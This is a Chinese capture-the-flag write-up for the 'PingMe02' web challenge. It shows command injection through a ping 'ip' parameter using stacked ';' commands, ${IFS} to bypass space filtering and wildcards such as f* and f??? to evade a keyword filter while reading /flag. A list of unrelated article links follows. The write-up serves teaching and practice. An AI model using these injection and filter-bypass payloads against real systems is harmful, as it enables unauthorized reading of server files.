经典ctf ping题目详解 青少年CTF-WEB-PingMe02

题目环境:

根据题目名称可知

这是一道CTF-WEB方向常考的知识点:ping地址

随便ping一个地址

查看接受的数据包
?ip=0.0.0.0

有回显数据,尝试列出目录文件

堆叠命令使用';'作为命令之间的连接符,当上一个命令完成后,继续执行下一个命令

使用堆叠命令

列出此目录下的文件
?ip=0.0.0.0;ls

ls是Linux系统里面的列出目录文件的命令

索性ls没有被过滤

查看隐藏文件
?ip=0.0.0.0;ls -a

space空格被过滤了

使用IFS绕过空格

IFS是Linux里面的环境变量,是其内部字段分隔符

可通过${IFS}绕过空格

IFS1-n(n>0的正整数)也可绕过空格

?ip=0.0.0.0;ls${IFS}-a

成功绕多空格

这里猜测没在根目录下,所以才没发现flag

查看当前路径
?ip=0.0.0.0;pwd

pwd是Linux系统里面查看当前目录/路径的命令

/var/www/html

可知现在是在html目录下

去看'/'根目录下是否有flag的存在

查看根目录下的文件
?ip=0.0.0.0;ls${IFS}/

发现根目录下存在flag文件

查看根目录下flag文件的内容
?ip=0.0.0.0;cat${IFS}/flag

cat是Linux系统里面最常见的查看文件内容的命令

这里可以使用其它查看文件内容的命令
less、more、nl等等

使用less查看flag内容
?ip=0.0.0.0;less${IFS}/flag

flag被过滤

可使用f*和f???进行绕过(注:f后边有几个字符就用几个?进行代替)

代表f开头的文件

因为f开头的文件只有flag这一个文件,所以查的就是flag

?ip=0.0.0.0;less${IFS}/f*

?ip=0.0.0.0;less${IFS}/f???

使用more查看flag内容
?ip=0.0.0.0;more${IFS}/f*

?ip=0.0.0.0;more${IFS}/f???

使用nl查看flag内容
?ip=0.0.0.0;nl${IFS}/f*

?ip=0.0.0.0;nl${IFS}/f???

得到flag:
qsnctf{3c6173ea-c3e2-4a49-858b-e9897e69cee3}

当然Linux系统查看文件内容的命令还有很多,这里就举着三个例子了

如果想效率更更高,我们还可以自己生成Linux常见列出目录文件和查看文件等命令和常用字符以及关键字的字典,并使用BurpSuite进行爆破查看那个命令和字符以及关键字的过滤情况

相关推荐
黄同学real21 分钟前
Vue2 相关知识点整理
前端·vue.js
YIBO040821 分钟前
WSL2下Docker desktop的Cadvisor容器监控
运维·docker·容器·wsl·wsl2
哎哟喂_!24 分钟前
在 UniApp 中实现 App 与 H5 页面的跳转及通信
前端·javascript·vue.js·uni-app
^小桃冰茶1 小时前
HTML 的基本结构与简单文件编写方法
前端·html
生产队队长1 小时前
HTML:常用标签(元素)汇总
前端
AIwenIPgeolocation1 小时前
硬件加密+本地部署,大模型一体机如何打造AI安全护城河?
人工智能·安全
Python少年班1 小时前
vim粘贴代码格式错乱 排版错乱 缩进错乱 解决方案
linux·编辑器·vim·排版错乱·缩进错乱·格式错乱·换行错乱
一眼青苔1 小时前
如何知道Ubuntu的端口是否被占用,被那个进程占用?如何终止进程
linux·运维·ubuntu
冼紫菜1 小时前
[特殊字符] Docker 从入门到实战:全流程教程 + 项目部署指南(含镜像加速)
运维·分布式·后端·docker·云原生·容器
森叶2 小时前
大前端开发——前端知识渐变分层讲解 & 利用金字塔原理简化前端知识体系
前端·webpack·electron